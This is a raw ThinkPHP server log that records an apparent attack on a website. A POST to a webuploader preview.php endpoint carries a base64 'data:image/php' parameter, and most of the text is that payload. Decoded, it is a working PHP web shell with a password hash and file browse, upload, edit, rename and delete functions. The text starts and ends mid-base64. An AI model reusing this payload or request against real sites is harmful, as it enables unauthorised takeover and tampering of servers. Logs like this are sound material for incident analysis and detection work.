AgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:11+08:00 ] 119.42.146.234 POST 51tianwei.com/public/static/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002933s] [吞吐率:340.94req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5y